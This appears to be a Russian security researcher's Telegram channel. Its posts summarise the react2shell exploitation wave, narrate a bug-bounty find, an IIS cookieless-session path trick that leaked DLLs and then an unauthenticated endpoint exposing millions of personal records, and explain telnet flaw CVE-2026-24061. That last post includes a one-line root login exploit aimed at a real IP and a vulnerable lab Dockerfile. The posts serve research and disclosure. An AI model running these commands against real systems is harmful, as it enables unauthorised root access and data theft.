вольтаж – Telegram
вольтаж
1.24K subscribers
38 photos
6 videos
7 files
64 links
Кибершумные заметки о безопасности веба, инфры и головы

связь - @w0ltage
Download Telegram
пацаны, не гоняйте за эксплойтами 1дей, вы системе ещё нужны
52
🎇 сводка по react2shell безумию

events
* китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты
* добрые (😈) хакеры пробивают таргеты и затем патчат их, устраивая дефейс с "сервер уязвим, фиксаните пж"

* Vercel вышли на h1 с программой по обходам их WAF. платят 50к$ за обход react2shell. уже получили репортов на 750к$

facts
* легче обновиться, чем защищаться waf'ом
* все сдают react2shell в бб и надеются на деньги
* багхантеры написали браузерное расширение на детект
* nuclei добавили смешные правила на детект
(кто пропустит сложение чисел в powershell?)

vuln
* в эксплойтие, для массовых детектов, в _prefix используют js функции вместо child_process
(curl не всегда есть в контейнере, но fetch() всегда есть в node runtime)

* react2shell не оставляет следов на диске, от чего все жалуются на сложность детекта
* уязвим не только next.js, но и прочее во влиянии react rsc: react router, vite rsc, parcel rsc, waku, redwood sdk


слушай, вОЛьТаЖ, а что почитать? не хочу вникать в килотонны текста


Включай этот absolute cinema. Это будут лучшие 40 минут за день.

https://youtu.be/tdDHUoi_TdQ
https://youtu.be/tdDHUoi_TdQ
https://youtu.be/tdDHUoi_TdQ

Автор содрал кожу с реакта, расставил в нём брейкпоинтов и прошёлся по всему пути эксплоита, объясняя логику внутренностей реакта на важных чекпоинтах (их больше 20)

Если останутся силы, затем нырни в килотонну текста от CEO Vercel. После видео - it's starting to make sense

https://x.com/rauchg/status/1997362942929440937

#CVE_2025_55182 #web
Please open Telegram to view this post
VIEW IN TELEGRAM
617
вольтаж
🎇 сводка по react2shell безумию events * китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты * добрые (😈) хакеры пробивают таргеты и затем патчат их, устраивая дефейс с "сервер уязвим, фиксаните пж"…
40 прожатий ⚪️ на посту и делаю разбор react2shell на русском + сюрприз

будет плотно, тяжело и с картинками.
всё как ты любишь.

upd: быстро же вы набрали. задача была взята в работу!
Please open Telegram to view this post
VIEW IN TELEGRAM
613
I wish you pain and suffering.


За этот год выгорел с пентеста, нырнул в стартапы с hao.vc, совмещая с работой и сомнениями.

Раз, питчдеки в стрессе, два, фулстак лид, три, проект закрыли, кодим следующий... четыре, делегировал обязанности и воспламенился пентестом вновь.

Пять, зачем я сделал это круг? Шесть, ресерчи до утра и безрезультатное бб. Семь, криты и пакеты денег. Восемь, я доволен этим годом (?)

Было больно, но я вырос и преодолел вязкое болото своих страхов.

Желаю и тебе, в новом году, сложнейших испытаний и отчаяния, ведь я знаю, что ты преодолеешь всё и найдешь своё место среди звёзд 🌃

And it will be better than anything else you can imagine. If you're going to try, go all the way.

There is no other feeling like that. You will be alone with the gods, and the nights will flame with fire.

You will ride life straight to perfect laughter. It's the only good fight there is.

[^]
Please open Telegram to view this post
VIEW IN TELEGRAM
15
This media is not supported in your browser
VIEW IN TELEGRAM
32
104
первый крит на бб ☠️

Все совпадения случайны, да и вообще, просыпайся, багбаунти не существует. Погнали грызть бананы и прыгать по деревьям.


Одним холодным декабрьским вечером, сканер обнаруживает IIS сервер, уязвимый к cokieless сессии и shortname enum, благодаря чему даёт вытаскивать DLL библиотеки.


https://target.com/(S(X))/b/(S(X))in/Newtonsoft.Json.dll


Пару минут гуглежа и попадается статья SWARM'ов о пробиве вебчика по этому же сценарию.

Из хаоса информации и непонимая, выстроилась цель - раскопать кастомные DLL библиотеки.

Помня, что сервер уязвим к shortname enumeration, пробую подобрать имена через shortscan.


shortscan --timeout 20 --fullurl --stabilise --patience 1 --verbosity 1 https://target.com


БИНГО! Я ПОЛУЧИЛ ничего.

Не сдаёмся.
Пошёл в таверну ИИ, расписал воображаемую ситуацию и попросил сгенерить словарь DLL библиотек, включая как стандартные, так и с названием компании и целевого домена.

Среди мусора попалась Swashbuckle.Core.dll (автоматически генерит swagger)

Развернул Windows виртуалку, скачал ilspy (декомпилятор .NET) и начал смотреть что же там есть, ведь ИИ подсказал "в DLL должен быть определен путь к Swagger".

Около получаса прыгаю по коду и интерфейсу, ментально привыкая к .NET. Кое-как костылями натыкаюсь на путь к сваггеру
/swagger/docs/v1

Ликуя, вписываю в браузер иииИИ... сваггер не открывается. Сервер возвращает 404 и не более. Десятки раз перепроверил код, посоветовался с ИИ, пробовал обойти всякими методами и софтами.

Лишь через час вспоминаю, что сервер же уязвим к cookieless сессии! Складываю (S(X)) и путь к сваггеру


/(S(X))/swagger/docs/v1


ОТКРЫВАЕТСЯ СВАГГЕР 👁

Смотрю, изучаю, пробую API на вкус, затем вспоминаю истинную цель похода на сваггер - подобрать имена DLL библиотек.

Собрал ключевые слова со сваггера, закинул в ИИ и попросил сгенерировать ещё один словарь, но уже только кастомных библиотек. Подождал, скачал, запустил подбор и получил хиты!


/(S(X))/b/(S(X))in/COMPANY.core.dll
/(S(X))/b/(S(X))in/LONGASSDOMAIN.dll
/(S(X))/b/(S(X))in/COMPANYX.mvc.dll


Быстро, с потным руками и болью в спине (уже шёл 3-й час ночи), кидаю DLL'ки в ilspy и смотрю код сервиса. Кода слишком много, но и нельзя останаливаться. Надо выкачать весь код и уже затем браться за анализ.

Заметил, что в каждой DLL, в начале кода, были расписаны импорты внешних библиотек. С ИИ написал базовый скрипт, что забирал все импорты из DLL и собирал их в единый словарь


# Bulk extract from all DLLs in a directory
$dlls = Get-ChildItem -Path "C:\Users\w0ltage\Desktop\company-dlls\new" -Filter "*.dll"

foreach ($dll in $dlls) {
try {
$asm = [System.Reflection.Assembly]::ReflectionOnlyLoadFrom($dll.FullName)
$asm.GetReferencedAssemblies() | ForEach-Object {
$_.Name
}
} catch {
Write-Host "Could not load $($dll.Name): $($_.Exception.Message)" -ForegroundColor Red
}
}


Так подобрал ещё десяток библиотек.
На этом заканчиваю сессию багхантинга и ложусь спать.

Следующий день, казалось, был холоднее предыдущего. Впрочем, это не мешало моим пальцам искать уязвимости по небоскребам кода, словно собирая подарки на рождество. I live for this shit.

Следуя по сценарию SWARM'ов, следующим этапом надо было найти RCE. Часы шли медленно, но я не сдавался. Структуры, классы, импорты, утилиты, связки, креды, заголовки, внутренние адреса.

Спустя много дней ручного анализа кода, перепробовав кучу вариантов десера, логических баг и других вагонов уязвимостей.

Ещё пару часов отчаяния и попадается API эндпоинт /journal/get/{id}


/journal/get/8


Без аутентификации, вернулись чьи-то персональные данные. Край данных оказался на числе в почти 7 миллионов. Считай все эти 7кк ПДн торчали в интернет без аутентификации многие годы.

Заполнил репорт с уровнем критичности "высокий", но вендор сам повысил до критического и щедро наградил за находку.

В коде были найдены ещё пара лоу-медиум уязвимостей и всё.

Остался без RCE, но с первым критом 🚗
Please open Telegram to view this post
VIEW IN TELEGRAM
105922
взломать интернет бесплатно 2026

USER="-f root" telnet -a 104.16.149.244 23


вот эта штука сверху, которой уже назначен CVE-2026-24061, дает подключиться по telnet сразу как root, без пароля.

что? 🐱

Давным давно в 2015 году, почему-то в нашей мировой линии, telnet был неуязвим, но в нём не работал автологин если на машине нет Kerberos.

Суть автологина - автоматически передать юзернейм для логина. Как когда по ssh коннектишься не указав логин, машина автоматически коннектится с именем текущего юзера.

Без Kerberos, этот юзернейм попросту не детектился.

Поэтому разработчики обновили шаблон логина, добавив динамический аргумент %U, что как раз подставляет юзернейм.

Новый шаблон:


/usr/bin/login " -p -h %h %?u{-f %u}{%U}"



и вот тут происходит кабум бабах ракета взрыв 🤯

1. В бинаре login есть флаг -f, нужный для "этот юзер уже был аутентифицирован где-то ещё, не надо его проверять снова"

2. По RFC 1572, подключаясь по telnet, ты можешь сдать переменные окружения, в том числе $USER с целевым логином

3. содержимое $USER переменной никак не санитизируется

. . .
Теперь перечитай эксплойт


USER="-f root" telnet -a 104.16.149.244 23


Да это же уязвимость на argument injection!


Повторим флоу атаки 🃏

0. выставляем переменную $USER="-f root" и включаем автологин -a

1. переменная $USER не проверяется, но учитывается сервером

2. $USER подставляется в шаблон логина вместо {%U}

3. сервер получает команду /usr/bin/login -p -f root

4. бинарь login скипает аутентификацию из-за -f

5. поздравляю, ты root

———
Dockerfile для тестовой лабы


FROM debian:11-slim

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y --no-install-recommends \
inetutils-telnetd=2:2.0-1+deb11u2 \
telnet && \
rm -rf /var/lib/apt/lists/*

RUN useradd user1 && \
sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf

EXPOSE 23
CMD ["/usr/sbin/inetutils-inetd", "-d"]



Если хочешь кишки кода и ветви логики, то читай этот подробный ресерч
Please open Telegram to view this post
VIEW IN TELEGRAM
28